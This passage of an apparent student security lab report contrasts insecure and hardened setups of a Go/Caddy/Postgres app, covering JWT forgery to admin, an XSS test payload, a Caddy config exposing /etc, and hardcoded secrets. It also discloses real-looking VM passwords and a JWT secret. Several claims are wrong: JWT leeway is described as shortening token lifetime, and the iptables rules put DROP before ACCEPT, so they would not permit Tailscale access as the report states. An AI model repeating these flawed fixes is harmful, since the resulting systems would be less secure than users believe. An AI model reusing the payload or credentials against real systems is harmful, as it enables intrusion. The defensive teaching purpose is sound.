    <img loading="lazy" src="/itsi/y4/ex1/images/jwt-1.png"/> <figcaption>
            Figure 31: editing the jwt
        </figcaption>
</figure>

<p>By replacing the old JWT with the new one in local storage, refreshing the profile page will now display the threat actor logged in as the admin, as shown in [@fig:jwt-2].</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/jwt-2.png"/> <figcaption>
            Figure 32: logged in as admin
        </figcaption>
</figure>

<p>This could have been prevented by properly parsing the JWT, as shown in [@snip:sec-jwt] on the next page, where the following changes were made:</p>
<ul>
<li><code>leeway</code> was added, which makes the JWT valid for only 2 minutes instead of the default 15 minutes, reducing the time window for the attack.</li>
<li>the claims are checked for validity, and an error is returned if they are invalid.</li>
<li>the signature is enforced by the parser.</li>
<li>the role is checked to ensure it is either <code>user</code> or <code>admin</code>.</li>
</ul>
<p>Admittedly, this is a very obvious security flaw where one would have to go out of their way to create it. It is more common for an API to simply lack authentication altogether, which, sadly, is more widespread than one might think. This is especially true in the AI age, where someone inexperienced might instruct an agent to build something but forget to include security in the requested requirements. As a result, they end up with exactly what they asked for: an insecure application. <sup id="fnref:42"><a href="#fn:42" class="footnote-ref" role="doc-noteref">42</a></sup></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">ParseAndValidate</span>(<span style="color:#a6e22e">cfg</span> <span style="color:#a6e22e">models</span>.<span style="color:#a6e22e">AuthConfig</span>, <span style="color:#a6e22e">tokenStr</span> <span style="color:#66d9ef">string</span>) (<span style="color:#f92672">*</span><span style="color:#a6e22e">Claims</span>, <span style="color:#66d9ef">error</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">leeway</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Minute</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">parser</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">jwt</span>.<span style="color:#a6e22e">NewParser</span>(
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">jwt</span>.<span style="color:#a6e22e">WithValidMethods</span>([]<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;HS256&#34;</span>}),
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">jwt</span>.<span style="color:#a6e22e">WithLeeway</span>(<span style="color:#a6e22e">leeway</span>),
</span></span><span style="display:flex;"><span>	)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">claims</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">Claims</span>{}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">tok</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">parser</span>.<span style="color:#a6e22e">ParseWithClaims</span>(<span style="color:#a6e22e">tokenStr</span>, <span style="color:#a6e22e">claims</span>, <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">t</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">jwt</span>.<span style="color:#a6e22e">Token</span>) (<span style="color:#66d9ef">any</span>, <span style="color:#66d9ef">error</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">cfg</span>.<span style="color:#a6e22e">Secret</span>, <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>	})
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nil</span>, <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;invalid token: %w&#34;</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">tok</span> <span style="color:#f92672">==</span> <span style="color:#66d9ef">nil</span> <span style="color:#f92672">||</span> !<span style="color:#a6e22e">tok</span>.<span style="color:#a6e22e">Valid</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nil</span>, <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;invalid token&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">cfg</span>.<span style="color:#a6e22e">Issuer</span> <span style="color:#f92672">!=</span> <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">claims</span>.<span style="color:#a6e22e">Issuer</span> <span style="color:#f92672">!=</span> <span style="color:#a6e22e">cfg</span>.<span style="color:#a6e22e">Issuer</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nil</span>, <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;bad issuer&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">cfg</span>.<span style="color:#a6e22e">Audience</span> <span style="color:#f92672">!=</span> <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#f92672">&amp;&amp;</span> !<span style="color:#a6e22e">slices</span>.<span style="color:#a6e22e">Contains</span>(<span style="color:#a6e22e">claims</span>.<span style="color:#a6e22e">Audience</span>, <span style="color:#a6e22e">cfg</span>.<span style="color:#a6e22e">Audience</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nil</span>, <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;bad audience&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">now</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">time</span>.<span style="color:#a6e22e">Now</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">claims</span>.<span style="color:#a6e22e">NotBefore</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">now</span>.<span style="color:#a6e22e">Before</span>(<span style="color:#a6e22e">claims</span>.<span style="color:#a6e22e">NotBefore</span>.<span style="color:#a6e22e">Time</span>.<span style="color:#a6e22e">Add</span>(<span style="color:#f92672">-</span><span style="color:#a6e22e">leeway</span>)) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nil</span>, <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;token not active yet&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">claims</span>.<span style="color:#a6e22e">IssuedAt</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">now</span>.<span style="color:#a6e22e">Before</span>(<span style="color:#a6e22e">claims</span>.<span style="color:#a6e22e">IssuedAt</span>.<span style="color:#a6e22e">Time</span>.<span style="color:#a6e22e">Add</span>(<span style="color:#f92672">-</span><span style="color:#a6e22e">leeway</span>)) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nil</span>, <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;token issued in the future&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">claims</span>.<span style="color:#a6e22e">ExpiresAt</span> <span style="color:#f92672">==</span> <span style="color:#66d9ef">nil</span> <span style="color:#f92672">||</span> <span style="color:#a6e22e">now</span>.<span style="color:#a6e22e">After</span>(<span style="color:#a6e22e">claims</span>.<span style="color:#a6e22e">ExpiresAt</span>.<span style="color:#a6e22e">Time</span>.<span style="color:#a6e22e">Add</span>(<span style="color:#a6e22e">leeway</span>)) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nil</span>, <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;token expired&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">claims</span>.<span style="color:#a6e22e">Role</span> <span style="color:#f92672">!=</span> <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">claims</span>.<span style="color:#a6e22e">Role</span> <span style="color:#f92672">!=</span> <span style="color:#e6db74">&#34;user&#34;</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">claims</span>.<span style="color:#a6e22e">Role</span> <span style="color:#f92672">!=</span> <span style="color:#e6db74">&#34;admin&#34;</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nil</span>, <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;invalid role&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">claims</span>, <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h4 id="insecure-reverse-proxy-configuration">Insecure Reverse Proxy Configuration</h4>
<p>The Caddyfile was changed to make the app insecure, as shown in [@snip:caddydiff].</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span><span style="color:#f92672">--- caddinsec   2025-10-20 01:47:20.632942501 +0200
</span></span></span><span style="display:flex;"><span><span style="color:#f92672"></span><span style="color:#a6e22e">+++ caddysec    2025-10-20 01:45:05.319602540 +0200
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e"></span><span style="color:#75715e">@@ -1,18 +1,22 @@
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#f92672">-https://itsi-ex1-insec-itsi-web-service.tail112d0c.ts.net {
</span></span></span><span style="display:flex;"><span><span style="color:#f92672"></span><span style="color:#a6e22e">+https://itsi-ex1-itsi-web-service.tail112d0c.ts.net {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e"></span>  tls /data/caddy/pki/authorities/local/ca.crt /data/caddy/pki/authorities/local/ca.key
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">+
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+handle_path /api/metrics* {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+respond &#34;Forbidden&#34; 403
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+}
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e"></span>  handle_path /api/* {
</span></span><span style="display:flex;"><span>   reverse_proxy itsi-api-service:8085
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">-
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-handle_path /files/* {
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-root * /etc
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-file_server browse {
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">- index off
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-}
</span></span></span><span style="display:flex;"><span><span style="color:#f92672"></span><span style="color:#a6e22e">+header {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+Strict-Transport-Security &#34;max-age=31536000; includeSubDomains&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+X-Content-Type-Options &#34;nosniff&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+X-Frame-Options &#34;DENY&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+Content-Security-Policy &#34;default-src &#39;self&#39;; script-src &#39;self&#39;; script-src-attr &#39;none&#39;; object-src &#39;none&#39;; base-uri &#39;none&#39;; form-action &#39;self&#39;; frame-ancestors &#39;none&#39;; connect-src &#39;self&#39;; img-src &#39;self&#39; data:; style-src &#39;self&#39; &#39;unsafe-inline&#39;; font-src &#39;self&#39;; upgrade-insecure-requests&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e"></span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  root * /srv
</span></span><span style="display:flex;"><span>  encode gzip zstd
</span></span><span style="display:flex;"><span><span style="color:#f92672">-file_server browse
</span></span></span><span style="display:flex;"><span><span style="color:#f92672"></span><span style="color:#a6e22e">+file_server
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e"></span> }
</span></span></code></pre></div><p>The insecure configuration first doesn&rsquo;t feature any security headers, like <code>Content-Security-Policy</code>, which are used to prevent XSS attacks.</p>
<h5 id="content-security-policy-csp">Content Security Policy (CSP)</h5>
<p>Content Security Policy (CSP) is a feature that helps to prevent or minimize the risk of certain types of security threats. It consists of a series of instructions from a website to a browser, which instruct the browser to place restrictions on the things that the code comprising the site is allowed to do.</p>
<p>The primary use case for CSP is to control which resources, in particular JavaScript resources, a document is allowed to load. This is mainly used as a defense against cross-site scripting (XSS) attacks, in which an attacker is able to inject malicious code into the victim&rsquo;s site. <sup id="fnref:43"><a href="#fn:43" class="footnote-ref" role="doc-noteref">43</a></sup> It blocks patterns like <code>eval</code> or inline scripts, which are used to execute code on the client side.</p>
<p>The example in [@snip:btn-bad] uses an inline script to execute code on the client side, which would be blocked by CSP. The second example in [@snip:btn-sec] uses an event listener to execute code on the client side, and this is not blocked by CSP.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">button</span> <span style="color:#a6e22e">onclick</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;alert(&#39;example&#39;)&#34;</span>&gt;Click me&lt;/<span style="color:#f92672">button</span>&gt;
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">button</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">querySelector</span>(<span style="color:#e6db74">&#39;button&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">button</span>.<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">&#39;click&#39;</span>, <span style="color:#66d9ef">function</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#34;example&#34;</span>);
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>Additionally, the frontend includes a built-in example that displays a user&rsquo;s bio using <code>eval</code>, which is insecure. It demonstrates the difference between the insecure and secure versions of the Caddy configuration. In the insecure version, a user could inject an HTML element like this to execute malicious code instead of simply displaying content—for example, stealing cookies or performing other harmful actions: <code>&lt;img src=&quot;some-invalid-path&quot; onerror=&quot;alert('XSS executed!')&quot;&gt;</code> <sup id="fnref:44"><a href="#fn:44" class="footnote-ref" role="doc-noteref">44</a></sup></p>
<p>This attack is blocked by the CSP for two reasons: <code>eval</code> is disallowed in [@sec:caddyfile-changes-to-make-the-app-insecure], and the <code>onerror</code> function runs as an inline script, which is also blocked (as shown in [@fig:csp1] and [@fig:csp2] on the next page). The insecure version triggers the alert on page load, while the secure version logs an error in the console indicating that execution was blocked by the CSP.</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/csp1.png"/> <figcaption>
            Figure 33: alert popping on page load
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/csp2.png"/> <figcaption>
            Figure 34: CSP doing its job
        </figcaption>
</figure>

<p>Here is table of all the CSP directives that are used in the secure version of the frontend. [@noauthor_content-security-policy_2025] <sup id="fnref1:43"><a href="#fn:43" class="footnote-ref" role="doc-noteref">43</a></sup></p>
<table>
  <thead>
      <tr>
          <th>Directive</th>
          <th>Your Setting</th>
          <th>Purpose</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>default-src 'self'</code></td>
          <td>Only same-origin</td>
          <td>Fallback for all resource types</td>
      </tr>
      <tr>
          <td><code>script-src 'self'</code></td>
          <td>Only same-origin scripts</td>
          <td>Blocks inline/external scripts</td>
      </tr>
      <tr>
          <td><code>script-src-attr 'none'</code></td>
          <td>Blocks <code>onclick</code>, <code>onload</code> etc.</td>
          <td>Prevents inline event handlers</td>
      </tr>
      <tr>
          <td><code>object-src 'none'</code></td>
          <td>Blocks plugins</td>
          <td>Stops Flash/Java exploits</td>
      </tr>
      <tr>
          <td><code>base-uri 'none'</code></td>
          <td>Blocks <code>&lt;base&gt;</code> tag</td>
          <td>Prevents URL manipulation</td>
      </tr>
      <tr>
          <td><code>form-action 'self'</code></td>
          <td>Forms submit same-origin only</td>
          <td>Blocks data exfiltration</td>
      </tr>
      <tr>
          <td><code>frame-ancestors 'none'</code></td>
          <td>Can&rsquo;t be embedded</td>
          <td>Clickjacking protection</td>
      </tr>
      <tr>
          <td><code>connect-src 'self'</code></td>
          <td>XHR/WebSocket to same-origin</td>
          <td>Prevents data exfiltration via API calls</td>
      </tr>
      <tr>
          <td><code>img-src 'self' data:</code></td>
          <td>Same-origin + data URIs</td>
          <td>Allows images</td>
      </tr>
      <tr>
          <td><code>style-src 'self' 'unsafe-inline'</code></td>
          <td>Same-origin + inline CSS</td>
          <td>Allows styling (note: <code>unsafe-inline</code> is permissive)</td>
      </tr>
      <tr>
          <td><code>font-src 'self'</code></td>
          <td>Same-origin fonts only</td>
          <td>Controls font loading</td>
      </tr>
      <tr>
          <td><code>upgrade-insecure-requests</code></td>
          <td>Auto-upgrade HTTP→HTTPS</td>
          <td>Forces secure connections</td>
      </tr>
  </tbody>
</table>
<h5 id="security-headers">Security Headers</h5>
<p>The secure caddy configuration includes the following security headers besides the CSP:</p>
<ul>
<li><code>Strict-Transport-Security &quot;max-age=31536000; includeSubDomains&quot;</code>
<ul>
<li>Forces HTTPS connections for 1 year (31536000 seconds). includeSubDomains applies this to all subdomains. Prevents man-in-the-middle attacks by blocking downgrade to HTTP. [@noauthor_strict-transport-security_2025]</li>
</ul>
</li>
<li><code>X-Content-Type-Options &quot;nosniff&quot;</code>
<ul>
<li>Prevents browsers from guessing MIME types. Forces the browser to respect the declared <code>Content-Type</code>, blocking MIME-type sniffing attacks that could execute malicious content. [@noauthor_x-content-type-options_2025]</li>
</ul>
</li>
<li><code>X-Frame-Options &quot;DENY&quot;</code>
<ul>
<li>Blocks the page from being loaded in frames/iframes anywhere. Prevents clickjacking attacks where malicious sites trick users into clicking hidden elements. [@noauthor_x-frame-options_2025]</li>
</ul>
</li>
</ul>
<h4 id="hardcoding-secrets">Hardcoding Secrets</h4>
<p>Another insecurity is hardcoding secrets in deployment files instead of managing secrets as discussed in [@sec:secret-management]. In [@snip:composediff], the database is hardcoded to use the <code>postgres</code> user, and the password is hardcoded in the <code>POSTGRES_PASSWORD</code> environment variable. This is at best considered bad practice and at worst a credential leak of the database password. This is why, in the secure version, the Docker secret is used with the <code>secret</code> key and the <code>POSTGRES_PASSWORD</code> volume that was created in [@sec:docker-secrets].</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span><span style="color:#f92672">--- compose.yaml        2025-10-20 03:43:36.744038924 +0200
</span></span></span><span style="display:flex;"><span><span style="color:#f92672"></span><span style="color:#a6e22e">+++ compose-secret.yaml 2025-10-20 03:44:06.880697128 +0200
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e"></span><span style="color:#75715e">@@ -2,14 +2,23 @@
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>   db:
</span></span><span style="display:flex;"><span>     image: ghcr.io/fboulnois/pg_uuidv7
</span></span><span style="display:flex;"><span>     environment:
</span></span><span style="display:flex;"><span><span style="color:#f92672">-      POSTGRES_USER: postgres
</span></span></span><span style="display:flex;"><span><span style="color:#f92672">-      POSTGRES_PASSWORD: postgres
</span></span></span><span style="display:flex;"><span><span style="color:#f92672"></span>       POSTGRES_DB: someApp
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">+      POSTGRES_USER: postgres
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+      POSTGRES_PASSWORD_FILE: /run/secrets/POSTGRES_PASSWORD
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+    secrets:
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+      - POSTGRES_PASSWORD
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e"></span>     ports:
</span></span><span style="display:flex;"><span><span style="color:#f92672">-      - 0.0.0.0:5433:5432
</span></span></span><span style="display:flex;"><span><span style="color:#f92672"></span><span style="color:#a6e22e">+      - target: 5432
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+        published: 5432
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+        protocol: tcp
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+        mode: host
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e"></span>     volumes:
</span></span><span style="display:flex;"><span><span style="color:#f92672">-      - ./schema.sql:/docker-entrypoint-initdb.d/schema.sql
</span></span></span><span style="display:flex;"><span><span style="color:#f92672"></span><span style="color:#a6e22e">+      - ./schema.sql:/docker-entrypoint-initdb.d/schema.sql:ro
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e"></span>       - postgres-data:/var/lib/postgresql/data
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> volumes:
</span></span><span style="display:flex;"><span>   postgres-data:
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">+
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+secrets:
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  POSTGRES_PASSWORD:
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+    external: true
</span></span></span></code></pre></div><p>Lastly in [@snip:kubediff], the environment variables in the Kubernetes manifests are changed to use the secret instead of hardcoding the value. This removes the database connection string directly and would give a threat actor instant access to the database or provide them with the encryption key for the JWT, allowing them to bypass secure parsing simply by having the signature, which is not desirable.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span><span style="color:#f92672">--- hardcoded-envars.yaml       2025-10-20 05:06:34.425666644 +0200
</span></span></span><span style="display:flex;"><span><span style="color:#f92672"></span><span style="color:#a6e22e">+++ kubenets-secrets.yaml       2025-10-20 05:05:53.594470400 +0200
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e"></span><span style="color:#75715e">@@ -4,8 +4,14 @@
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>   - name: RATE_LIMIT_RPS
</span></span><span style="display:flex;"><span>     value: &#34;100&#34;
</span></span><span style="display:flex;"><span>   - name: GIN_MODE
</span></span><span style="display:flex;"><span><span style="color:#f92672">-    value: debug
</span></span></span><span style="display:flex;"><span><span style="color:#f92672"></span><span style="color:#a6e22e">+    value: release
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e"></span>   - name: DB_URL
</span></span><span style="display:flex;"><span><span style="color:#f92672">-    value: &#34;postgres://postgres:postgres@100.67.124.69:5433/someApp?sslmode=disable&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#f92672"></span><span style="color:#a6e22e">+    valueFrom:
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+      secretKeyRef:
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+        name: db-url
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+        key: TOKEN
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e"></span>   - name: AUTH_JWT_SECRET
</span></span><span style="display:flex;"><span><span style="color:#f92672">-    value: &#34;hb7l90YhLEEtGCxWWJcMWXH+MTbxWu/aUrCuysjpUdU87c5hZnzmsWG01pb+b9rRRXrTPK+14jdNcdXcyHBvow==t&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#f92672"></span><span style="color:#a6e22e">+    valueFrom:
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+      secretKeyRef:
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+        name: jwt-token
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+        key: TOKEN
</span></span></span></code></pre></div><h4 id="bad-ssh-configuration">Bad SSH Configuration</h4>
<p>A common spot for misconfiguration is SSH, since it offers full access to the server. This leads to bots scanning the internet for IP addresses with an open SSH port and brute-forcing passwords. Anyone using a VPS with SSH will know that the <code>/var/access.log</code> file usually contains some bot attempts. <sup id="fnref:45"><a href="#fn:45" class="footnote-ref" role="doc-noteref">45</a></sup></p>
<p>The easiest ways to prevent them are as follows:</p>
<ul>
<li>Disable password authentication and use SSH keys instead.</li>
<li>Disable root login and use a non-root user.</li>
<li>Use fail2ban to block Brute-force attempts.</li>
<li>Use multi-factor authentication.</li>
<li>Use a firewall to block SSH access and connect to the server.</li>
</ul>
<p>All of this was already covered in Exercise 5 last year, so beyond naming it, you can access <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex5/Securing%20access.pdf">the details here</a> on how to set them up.</p>
<p>To only allow SSH access from the Tailscale IP, the following commands were used:
<code>doas iptables -A INPUT -p tcp --dport 22 -j DROP</code>
<code>doas iptables -A INPUT -p tcp -s 100.67.124.69 --dport 22 -j ACCEPT</code></p>
<p>They block all access to port 22 except from the Tailscale IP. After running them, connections will only be available from the Tailscale IP, as shown in [@fig:ssh-sec]. For the non-Tailscale location, the connection was made to localhost because SSH was forwarded to the port shown in the figure.</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/shh-sec.svg"/> <figcaption>
            Figure 35: ssh access only from tailscale
        </figcaption>
</figure>

<h4 id="poor-credentials-policies">Poor Credentials Policies</h4>
<p>A security issue I often find myself guilty of is using weak credentials everywhere. For example, as seen in [@fig:alpine-setup-1], a weak password was used, often due to laziness during the initial setup before authentication via SSH keys and then disabling password authentication altogether. However, it remains a security risk as soon as the server is used by multiple people.</p>
<p>Both Windows and Linux offer tools to enforce password policies, lockouts, and other measures to harden this aspect of the system. For now, on the VMs, the root and admin passwords will remain <code>deinemama</code> and <code>rafi123_</code>.</p>
<p>The details on setting up password policies are also covered in Exercise 5 from last year <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex5/Securing%20access.pdf">Section 3.2</a> for Linux and in Exercise 9 from last year in <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex9/Sicherheitstests%20von%20Windows%20Server.pdf">Section 4.4.3</a></p>
<h4 id="making-database-insecure">Making Database Insecure</h4>
<p>As seen in the diff between the insecure and secure versions of the compose file in [@sec:hardcoding-secrets], the database is hardcoded to use the <code>postgres</code> user, and the password is hardcoded in the <code>POSTGRES_PASSWORD</code> environment variable. Additionally, it is listening on <code>0.0.0.0</code>, as shown in [@snip:composediff]. Without using a firewall rule to lock down database access to trusted sources only, we can connect however we want, as shown in [@fig:db-insec], where the insecure version running on port <code>5433</code> allows a connection to be established, while the secure version on port <code>5432</code> prevents any connection from being established. In this example, a connection is established to <code>127.0.0.1</code> as discussed in [@sec:connecting-the-setup-using-tailscale]. Due to VirtualBox NAT networking, this is the only non-Tailscale way to connect to it, but it is fine for the example.</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/db-sec.svg"/> <figcaption>
            Figure 36: only being able to connect to the database via tailscale
        </figcaption>
</figure>

<p>To achieve this, the two iptables rules were added with block access on port <code>5432</code> but allowed it over the Tailscale IP.
<code>doas iptables -A INPUT -p tcp --dport 5432 -j DROP</code>
<code>doas iptables -A INPUT -p tcp -s 100.67.124.69 --dport 5432 -j ACCEPT</code></p>
<h4 id="authentication-bypass-via-http-headers">Authentication Bypass via HTTP Headers</h4>
<p>A custom HTTP header can be used to bypass authentication requirements if it matches the pod&rsquo;s IP address. This allows unauthenticated access to protected endpoints.</p>
<h4 id="csp-header-misconfiguration">CSP Header Misconfiguration</h4>
<p>The insecure version has a CSP header that allows <code>unsafe-inline</code> and <code>unsafe-eval</code>, which makes it vulnerable to XSS attacks. This allows malicious scripts to be executed in the browser.</p>
<h4 id="hardcoding-secrets-1">Hardcoding Secrets</h4>
<p>In the insecure version, secrets are stored in plain text in Kubernetes manifests and Docker Compose files instead of using proper secret management tools.</p>
